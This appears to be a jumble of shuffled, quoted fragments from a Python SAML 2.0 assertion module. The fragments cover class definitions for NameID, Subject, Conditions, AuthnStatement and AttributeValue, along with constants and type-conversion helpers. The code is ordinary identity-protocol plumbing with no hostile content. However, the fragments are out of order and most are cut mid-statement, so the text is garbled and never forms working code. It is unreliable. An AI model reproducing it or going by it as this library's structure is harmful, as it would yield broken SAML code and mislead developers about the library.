c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef'] = (", "('decision', DecisionType_, True) c_child_order.extend(['action', 'evidence']) def __init__(self, action=None, evidence=None, resource=None,", "c_tag = 'AssertionURIRef' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'}", "c_value_type = {'base': 'string', 'enumeration': ['Permit', 'Deny', 'Indeterminate']} c_children =", "'to_text': _str, }, 'integer': { 'type': int, 'to_type': int, 'to_text':", "= authn_context_decl_ref self.authenticating_authority = authenticating_authority or [] def verify(self): if", "return SamlBase.verify(self) def authn_context_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextType_, xml_string) class Action(ActionType_): \"\"\"The", "subject_locality self.authn_context = authn_context self.authn_instant = authn_instant self.session_index = session_index", "0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID'] = ( 'encrypted_id', EncryptedID) c_cardinality['encrypted_id'] =", "'AssertionType', 'AuthzDecisionStatementType', 'Advice'] class EvidenceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType element \"\"\" c_tag", "= ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\") # dicc for avaiable formats NAMEID_FORMATS_SAML2 =", "= AttributeType_.c_attributes.copy() c_child_order = AttributeType_.c_child_order[:] c_cardinality = AttributeType_.c_cardinality.copy() def attribute_from_string(xml_string):", "_str and valid_type is not _str: try: value = to_type(value)", "self.authn_context_decl = authn_context_decl self.authn_context_decl_ref = authn_context_decl_ref self.authenticating_authority = authenticating_authority or", "NAMEID_FORMAT_TRANSIENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\") # subject avaiable in encrypted format", "return saml2.create_class_from_xml_string(OneTimeUse, xml_string) class ProxyRestriction(ProxyRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction element \"\"\" c_tag", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue']", "authn_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatementType_, xml_string) class AttributeStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType element \"\"\"", "\"unbounded\"} c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, not_before=None,", "[] def subject_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectType_, xml_string) class Conditions(ConditionsType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Conditions", "try: del self._extatt[XSI_TYPE] except KeyError: pass def set_text(self, value, base64encode=False):", "AttributeType_.c_cardinality.copy() def attribute_from_string(xml_string): return saml2.create_class_from_xml_string(Attribute, xml_string) class SubjectConfirmation(SubjectConfirmationType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation", "encrypted_assertion or [] def advice_type__from_string(xml_string): return saml2.create_class_from_xml_string(AdviceType_, xml_string) class Advice(AdviceType_):", "encrypted_attribute=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute", "be issued, besides the subject itself # by third parties.", "Subject(SubjectType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Subject element \"\"\" c_tag = 'Subject' c_namespace =", "xml_string) class Assertion(AssertionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Assertion element \"\"\" c_tag = 'Assertion'", "# what conditions # no claim to consent is made", "else '') SamlBase.__setattr__(self, 'text', text) return self def harvest_element_tree(self, tree):", "xml_string) class EncryptedElementType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType element \"\"\" c_tag = 'EncryptedElementType'", "0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction'] = ( 'audience_restriction', [AudienceRestriction]) c_cardinality['audience_restriction'] = {\"min\": 0}", "xml_string) class Subject(SubjectType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Subject element \"\"\" c_tag = 'Subject'", "= action or [] self.evidence = evidence self.resource = resource", "assertion_from_string, AssertionType_.c_tag: assertion_type__from_string, Subject.c_tag: subject_from_string, SubjectType_.c_tag: subject_type__from_string, SubjectConfirmation.c_tag: subject_confirmation_from_string, SubjectConfirmationType_.c_tag:", "'AuthzDecisionStatement': AuthzDecisionStatement, 'AuthzDecisionStatementType': AuthzDecisionStatementType_, 'DecisionType': DecisionType_, 'Action': Action, 'ActionType': ActionType_,", "'anyURI', False) c_attributes['SPProvidedID'] = ('sp_provided_id', 'string', False) def __init__(self, name_qualifier=None,", "subject_confirmation_data_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationData, xml_string) class Condition(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Condition element \"\"\"", "or type_to_xsd.get(type(value))) xsd_ns, xsd_type = ( ['', type(None)] if xsd_string", "return saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_, xml_string) class ConditionAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType element \"\"\" c_tag", "audience=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience", "Advice(AdviceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Advice element \"\"\" c_tag = 'Advice' c_namespace =", "children to this node # remove the nil marker if", "= 'EncryptedAttribute' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes =", "def attribute_value_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeValue, xml_string) class EncryptedAttribute(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute element", "= encrypted_attribute or [] def attribute_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatementType_, xml_string) class", "= {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse'] = ( 'one_time_use', [OneTimeUse]) c_cardinality['one_time_use'] =", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier = name_qualifier self.sp_name_qualifier", "False) c_attributes['SPProvidedID'] = ('sp_provided_id', 'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None,", "c_namespace = NAMESPACE c_children = SubjectConfirmationType_.c_children.copy() c_attributes = SubjectConfirmationType_.c_attributes.copy() c_child_order", "self.get_type() or type_to_xsd.get(type(value))) xsd_ns, xsd_type = ( ['', type(None)] if", "urn:oasis:names:tc:SAML:2.0:assertion:ActionType element \"\"\" c_tag = 'ActionType' c_namespace = NAMESPACE c_value_type", "subject NAMEID_FORMAT_PERSISTENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\") # annonymous subject NAMEID_FORMAT_TRANSIENT =", "= audience or [] self.count = count def proxy_restriction_type__from_string(xml_string): return", "'Condition' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy()", "return SamlBase.verify(self) def conditions_type__from_string(xml_string): return saml2.create_class_from_xml_string(ConditionsType_, xml_string) class AuthnStatementType_(StatementAbstractType_): \"\"\"The", "authn_statement_from_string, AuthnStatementType_.c_tag: authn_statement_type__from_string, SubjectLocality.c_tag: subject_locality_from_string, SubjectLocalityType_.c_tag: subject_locality_type__from_string, AuthnContext.c_tag: authn_context_from_string, AuthnContextType_.c_tag:", "c_tag = 'SubjectConfirmationDataType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "'to_text': lambda x: '', }, } xsd_string = ( 'base64Binary'", "SamlBase.c_cardinality.copy() def authn_context_decl_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDecl, xml_string) class AuthenticatingAuthority(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority", "<Subject> offers the ability to provide name identifiers in a", "class SubjectConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType element \"\"\" c_tag = 'SubjectConfirmationDataType' c_namespace", "saml2.create_class_from_xml_string(SubjectLocality, xml_string) class AuthnContextType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType element \"\"\" c_tag =", "c_value_type = {'base': 'string'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "xml_string) class AssertionURIRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef element \"\"\" c_tag = 'AssertionURIRef'", "c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_id_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedID,", "'to_text': lambda x: x, }, '': { 'type': type(None), 'to_type':", "valid_ipv6(self.address): pass else: raise ShouldValueError(\"Not an IPv4 or IPv6 address\")", "= SubjectConfirmationDataType_.c_children.copy() c_attributes = SubjectConfirmationDataType_.c_attributes.copy() c_child_order = SubjectConfirmationDataType_.c_child_order[:] c_cardinality =", "is None else ['', ''] if xsd_string == '' else", "__init__(self, name_qualifier=None, sp_name_qualifier=None, format=None, sp_provided_id=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "def subject_confirmation_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationType_, xml_string) class AudienceRestriction(AudienceRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction element", "( 'encrypted_data', xenc.EncryptedData) c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey'] = ( 'encrypted_key', [xenc.EncryptedKey]) c_cardinality['encrypted_key'] =", "= 'Statement' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes =", "c_cardinality['evidence'] = {\"min\": 0, \"max\": 1} c_attributes['Resource'] = ('resource', 'anyURI',", "subject_type__from_string, SubjectConfirmation.c_tag: subject_confirmation_from_string, SubjectConfirmationType_.c_tag: subject_confirmation_type__from_string, SubjectConfirmationData.c_tag: subject_confirmation_data_from_string, SubjectConfirmationDataType_.c_tag: subject_confirmation_data_type__from_string, KeyInfoConfirmationDataType_.c_tag:", "'float': { 'type': float, 'to_type': float, 'to_text': _str, }, 'double':", "= SubjectLocalityType_.c_cardinality.copy() def verify(self): if self.address: # dotted-decimal IPv4 or", "= NAMESPACE c_children = AuthzDecisionStatementType_.c_children.copy() c_attributes = AuthzDecisionStatementType_.c_attributes.copy() c_child_order =", "\"\"\" c_tag = 'Issuer' c_namespace = NAMESPACE c_children = NameIDType_.c_children.copy()", "self.one_time_use = one_time_use or [] self.proxy_restriction = proxy_restriction or []", "communicate usually about a subject(NameID) # the format determines the", "# idp and sp communicate usually about a subject(NameID) #", "SamlBase.c_cardinality.copy() def audience_from_string(xml_string): return saml2.create_class_from_xml_string(Audience, xml_string) class OneTimeUseType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType", "- a function to turn a string into that type", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_id_ref_from_string(xml_string):", "( 'subject_locality', SubjectLocality) c_cardinality['subject_locality'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext']", "self.assertion_uri_ref = assertion_uri_ref or [] self.assertion = assertion or []", "statement=None, authn_statement=None, authz_decision_statement=None, attribute_statement=None, version=None, id=None, issue_instant=None, text=None, extension_elements=None, extension_attributes=None):", "in_response_to=None, address=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.not_before", "c_cardinality['attribute_value'] = {\"min\": 0} c_attributes['Name'] = ('name', 'string', True) c_attributes['NameFormat']", "self.condition = condition or [] self.audience_restriction = audience_restriction or []", "saml2.create_class_from_xml_string(AttributeStatement, xml_string) class Subject(SubjectType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Subject element \"\"\" c_tag =", "element \"\"\" c_tag = 'Statement' c_namespace = NAMESPACE c_children =", "urn:oasis:names:tc:SAML:2.0:assertion:SubjectType element \"\"\" c_tag = 'SubjectType' c_namespace = NAMESPACE c_children", "c_cardinality = ConditionAbstractType_.c_cardinality.copy() def condition_from_string(xml_string): return saml2.create_class_from_xml_string(Condition, xml_string) class AudienceRestrictionType_(ConditionAbstractType_):", "{\"min\": 0} c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation']) def __init__(self, base_id=None, name_id=None,", "{ 'type': int, 'to_type': int, 'to_text': _str, }, 'long': {", "of the XML tree. for child in tree: self._convert_element_tree_to_member(child) for", "AuthzDecisionStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType element \"\"\" c_tag = 'AuthzDecisionStatementType' c_namespace =", "( lambda x: b64encode(x.encode()) if base64encode else x ), },", "SamlBase.c_cardinality.copy() def assertion_id_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionIDRef, xml_string) class AssertionURIRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef", "True) c_attributes['IssueInstant'] = ('issue_instant', 'dateTime', True) c_child_order.extend(['issuer', 'signature', 'subject', 'conditions',", "import valid_domain_name import saml2 from saml2 import SamlBase import six", "int, 'to_text': _str, }, 'float': { 'type': float, 'to_type': float,", "('subject', Subject) c_cardinality['subject'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions'] =", "'AuthzDecisionStatementType': AuthzDecisionStatementType_, 'DecisionType': DecisionType_, 'Action': Action, 'ActionType': ActionType_, 'Evidence': Evidence,", "SamlBase.c_cardinality.copy() c_attributes['NameQualifier'] = ('name_qualifier', 'string', False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string',", "False), ('SPNameQualifier', 'string', False), ] ELEMENT_FROM_STRING = { BaseID.c_tag: base_id_from_string,", "and the new version is here: # https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf # try:", "= ('in_response_to', 'NCName', False) c_attributes['Address'] = ('address', 'string', False) c_any", "= assertion or [] self.encrypted_assertion = encrypted_assertion or [] def", "sp communicate usually about a subject(NameID) # the format determines", "CONSENT_UNSPECIFIED = \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" # consent has been obtained CONSENT_OBTAINED =", "EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_attribute_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAttribute, xml_string) class", "c_cardinality = SubjectConfirmationType_.c_cardinality.copy() def subject_confirmation_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmation, xml_string) class ConditionsType_(SamlBase):", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType element \"\"\" c_tag = 'EncryptedElementType' c_namespace = NAMESPACE", "= NAMESPACE c_value_type = {'base': 'anyURI'} c_children = SamlBase.c_children.copy() c_attributes", "self.authz_decision_statement: pass elif not self.subject: raise MustValueError( \"If no statement", "('NAMEID_FORMAT_ENCRYPTED', NAMEID_FORMAT_ENCRYPTED), ('NAMEID_FORMAT_ENTITY', NAMEID_FORMAT_ENTITY), ('NAMEID_FORMAT_PERSISTENT', NAMEID_FORMAT_PERSISTENT), ('NAMEID_FORMAT_TRANSIENT', NAMEID_FORMAT_TRANSIENT), ('NAMEID_FORMAT_UNSPECIFIED', NAMEID_FORMAT_UNSPECIFIED),", "= ( 'encrypted_data', xenc.EncryptedData) c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey'] = ( 'encrypted_key', [xenc.EncryptedKey]) c_cardinality['encrypted_key']", "= ('name_qualifier', 'string', False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) c_attributes['Format']", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID'] = ('base_id', BaseID) c_cardinality['base_id']", "{\"min\": 0, \"max\": 1} c_cardinality['advice'] = {\"min\": 0, \"max\": 1}", "'SubjectConfirmationDataType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue'] = ( 'attribute_value', [AttributeValue]) c_cardinality['attribute_value']", "valid_type: _wrong_type_value(xsd=xsd_type, value=value) text = to_text(value) self.set_type( '{ns}:{type}'.format(ns=xsd_ns, type=xsd_type) if", "address=None, dns_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.address", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Address'] = ('address',", "= NameIDType_.c_attributes.copy() c_child_order = NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def issuer_from_string(xml_string):", "urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType element \"\"\" c_tag = 'ConditionAbstractType' c_namespace = NAMESPACE c_children", "'string', int: 'integer', float: 'float', bool: 'boolean', type(None): '', }", "the cast failed _wrong_type_value(xsd=xsd_type, value=value) if type(value) is not valid_type:", "\"Invalid Response: \" \"Cannot have both <AuthnContextDecl> and <AuthnContextDeclRef>\" )", "'AttributeStatement': AttributeStatement, 'AttributeStatementType': AttributeStatementType_, 'Attribute': Attribute, 'AttributeType': AttributeType_, 'AttributeValue': AttributeValue,", "c_namespace = NAMESPACE c_children = SubjectLocalityType_.c_children.copy() c_attributes = SubjectLocalityType_.c_attributes.copy() c_child_order", "str) # cast to correct type before type-checking if type(value)", "= ('method', 'anyURI', True) c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation_data']) def __init__(self,", "= AudienceRestrictionType_.c_children.copy() c_attributes = AudienceRestrictionType_.c_attributes.copy() c_child_order = AudienceRestrictionType_.c_child_order[:] c_cardinality =", "that type into a text-value xsd_types_props = { 'string': {", "encrypted_key or [] def encrypted_element_type__from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedElementType_, xml_string) class EncryptedID(EncryptedElementType_):", "SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue'] = ( 'attribute_value', [AttributeValue]) c_cardinality['attribute_value'] = {\"min\": 0}", "\"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext'] = ( 'authn_context', AuthnContext) c_attributes['AuthnInstant'] = ('authn_instant',", "SubjectLocality(SubjectLocalityType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality element \"\"\" c_tag = 'SubjectLocality' c_namespace =", "= assertion_uri_ref or [] self.assertion = assertion or [] self.encrypted_assertion", "c_tag = 'NameIDType' c_namespace = NAMESPACE c_value_type = {'base': 'string'}", "with an AuthnStatement must contain a Subject\") return SamlBase.verify(self) def", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def decision_type__from_string(xml_string): return saml2.create_class_from_xml_string(DecisionType_, xml_string) class", "( 'one_time_use', [OneTimeUse]) c_cardinality['one_time_use'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction'] = (", "'advice', Advice) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AG_IDNameQualifiers = [ ('NameQualifier', 'string', False),", "AudienceRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType element \"\"\" c_tag = 'AudienceRestrictionType' c_namespace =", "\"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef'] = ( 'authn_context_decl_ref', AuthnContextDeclRef) c_cardinality['authn_context_decl_ref'] = {\"min\":", "}, } xsd_string = ( 'base64Binary' if base64encode else self.get_type()", "= ('name', 'string', True) c_attributes['NameFormat'] = ('name_format', 'anyURI', False) c_attributes['FriendlyName']", "action is permitted DECISION_TYPE_PERMIT = \"Permit\" # the specified action", "= NAMESPACE c_children = SubjectType_.c_children.copy() c_attributes = SubjectType_.c_attributes.copy() c_child_order =", "\"processContents\": \"lax\"} def __init__(self, attribute_value=None, name=None, name_format=NAME_FORMAT_URI, friendly_name=None, text=None, extension_elements=None,", "try: from base64 import encodebytes as b64encode except ImportError: from", "encrypted_data=None, encrypted_key=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.encrypted_data", "(KeyError, AttributeError): try: return self._extatt[XSI_TYPE] except KeyError: return \"\" def", "ConditionAbstractType_.c_cardinality.copy() def one_time_use_type__from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUseType_, xml_string) class ProxyRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType", "self.base_id = base_id self.name_id = name_id self.encrypted_id = encrypted_id self.subject_confirmation", "if key == \"text\": self.set_text(value) else: SamlBase.__setattr__(self, key, value) def", "conditions # no claim to consent is made CONSENT_UNSPECIFIED =", "core specifications to be found at: # if any question", "def encrypted_assertion_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAssertion, xml_string) class StatementAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType element", "urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion element \"\"\" c_tag = 'EncryptedAssertion' c_namespace = NAMESPACE c_children", "('authn_instant', 'dateTime', True) c_attributes['SessionIndex'] = ('session_index', 'string', False) c_attributes['SessionNotOnOrAfter'] =", "element \"\"\" c_tag = 'OneTimeUse' c_namespace = NAMESPACE c_children =", "annonymous subject NAMEID_FORMAT_TRANSIENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\") # subject avaiable in", "\"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\" # consent has been obtained explicitly CONSENT_EXPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\"", "[xenc.EncryptedKey]) c_cardinality['encrypted_key'] = {\"min\": 0} c_child_order.extend(['encrypted_data', 'encrypted_key']) def __init__(self, encrypted_data=None,", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer'] = ('issuer', Issuer) c_children['{http://www.w3.org/2000/09/xmldsig#}Signature']", "= SamlBase.c_cardinality.copy() def assertion_id_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionIDRef, xml_string) class AssertionURIRef(SamlBase): \"\"\"The", "if self.one_time_use: if len(self.one_time_use) != 1: raise Exception(\"Cannot be used", "the specified action is permitted DECISION_TYPE_PERMIT = \"Permit\" # the", "or valid_ipv6(self.address): pass else: raise ShouldValueError(\"Not an IPv4 or IPv6", "saml2.create_class_from_xml_string(Subject, xml_string) #.................. # ['AuthzDecisionStatement', 'EvidenceType', 'AdviceType', 'Evidence', # 'Assertion',", "NAMEID_FORMAT_TRANSIENT), ('NAMEID_FORMAT_UNSPECIFIED', NAMEID_FORMAT_UNSPECIFIED), ) # a profile outlines a set", "class Attribute(AttributeType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Attribute element \"\"\" c_tag = 'Attribute' c_namespace", "'encrypted_id', EncryptedID) c_cardinality['encrypted_id'] = {\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData']", "{\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) def __init__(self, assertion_id_ref=None, assertion_uri_ref=None,", "AttributeType_.c_children.copy() c_attributes = AttributeType_.c_attributes.copy() c_child_order = AttributeType_.c_child_order[:] c_cardinality = AttributeType_.c_cardinality.copy()", "action_type__from_string(xml_string): return saml2.create_class_from_xml_string(ActionType_, xml_string) class AttributeValue(AttributeValueBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue element \"\"\"", "AdviceType_.c_tag: advice_type__from_string, EncryptedAssertion.c_tag: encrypted_assertion_from_string, Statement.c_tag: statement_from_string, AuthnStatement.c_tag: authn_statement_from_string, AuthnStatementType_.c_tag: authn_statement_type__from_string,", "\"max\": 1} c_cardinality['advice'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement'] =", "'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, format=None, sp_provided_id=None, text=None, extension_elements=None,", "= ( ('NAMEID_FORMAT_EMAILADDRESS', NAMEID_FORMAT_EMAILADDRESS), ('NAMEID_FORMAT_ENCRYPTED', NAMEID_FORMAT_ENCRYPTED), ('NAMEID_FORMAT_ENTITY', NAMEID_FORMAT_ENTITY), ('NAMEID_FORMAT_PERSISTENT', NAMEID_FORMAT_PERSISTENT),", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality'] = ( 'subject_locality', SubjectLocality) c_cardinality['subject_locality'] = {\"min\": 0, \"max\":", "evidence self.resource = resource self.decision = decision def authz_decision_statement_type__from_string(xml_string): return", "= \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\" # authenticate the request with login credentials, over", "[AuthenticatingAuthority]) c_cardinality['authenticating_authority'] = {\"min\": 0} c_child_order.extend(['authn_context_class_ref', 'authn_context_decl', 'authn_context_decl_ref', 'authenticating_authority']) def", "authn_context_decl_ref=None, authenticating_authority=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.authn_context_class_ref", "saml2.create_class_from_xml_string(AdviceType_, xml_string) class Advice(AdviceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Advice element \"\"\" c_tag =", "c_child_order = ProxyRestrictionType_.c_child_order[:] c_cardinality = ProxyRestrictionType_.c_cardinality.copy() def proxy_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestriction,", "elif self.dns_name: valid_domain_name(self.dns_name) return SubjectLocalityType_.verify(self) def subject_locality_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocality, xml_string)", "( 'audience_restriction', [AudienceRestriction]) c_cardinality['audience_restriction'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse'] = (", "( 'encrypted_id', EncryptedID) c_cardinality['encrypted_id'] = {\"min\": 0, \"max\": 1} c_children[", "# custom format NAME_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\") # uri format", "c_cardinality['encrypted_attribute'] = {\"min\": 0} c_child_order.extend(['attribute', 'encrypted_attribute']) def __init__(self, attribute=None, encrypted_attribute=None,", "def decision_type__from_string(xml_string): return saml2.create_class_from_xml_string(DecisionType_, xml_string) class ActionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ActionType element", "IPv4 or IPv6 address\") elif self.dns_name: valid_domain_name(self.dns_name) return SubjectLocalityType_.verify(self) def", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef'] = ( 'authn_context_class_ref',", "return True else: SamlBase.verify(self) def set_type(self, typ): try: del self.extension_attributes[XSI_NIL]", "of xsd-types each declaring: # - a corresponding python type", "= ( \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\") # an AuthnRequest is made to initiate", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDecl, xml_string)", "'proxy_restriction']) def __init__(self, condition=None, audience_restriction=None, one_time_use=None, proxy_restriction=None, not_before=None, not_on_or_after=None, text=None,", "AudienceRestrictionType_.c_attributes.copy() c_child_order = AudienceRestrictionType_.c_child_order[:] c_cardinality = AudienceRestrictionType_.c_cardinality.copy() def audience_restriction_from_string(xml_string): return", "we have added children to this node # we consider", "= authn_context self.authn_instant = authn_instant self.session_index = session_index self.session_not_on_or_after =", "or [] self.authn_statement = authn_statement or [] self.authz_decision_statement = authz_decision_statement", "= SubjectLocalityType_.c_child_order[:] c_cardinality = SubjectLocalityType_.c_cardinality.copy() def verify(self): if self.address: #", "Action, 'ActionType': ActionType_, 'Evidence': Evidence, 'EvidenceType': EvidenceType_, 'AttributeStatement': AttributeStatement, 'AttributeStatementType':", "_str, }, 'boolean': { 'type': bool, 'to_type': lambda x: {", "RFC3513 IPv6 address if valid_ipv4(self.address) or valid_ipv6(self.address): pass else: raise", "= OneTimeUseType_.c_attributes.copy() c_child_order = OneTimeUseType_.c_child_order[:] c_cardinality = OneTimeUseType_.c_cardinality.copy() def one_time_use_from_string(xml_string):", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children[", "xml_string) #.................. # ['Assertion', 'AssertionType', 'AdviceType', 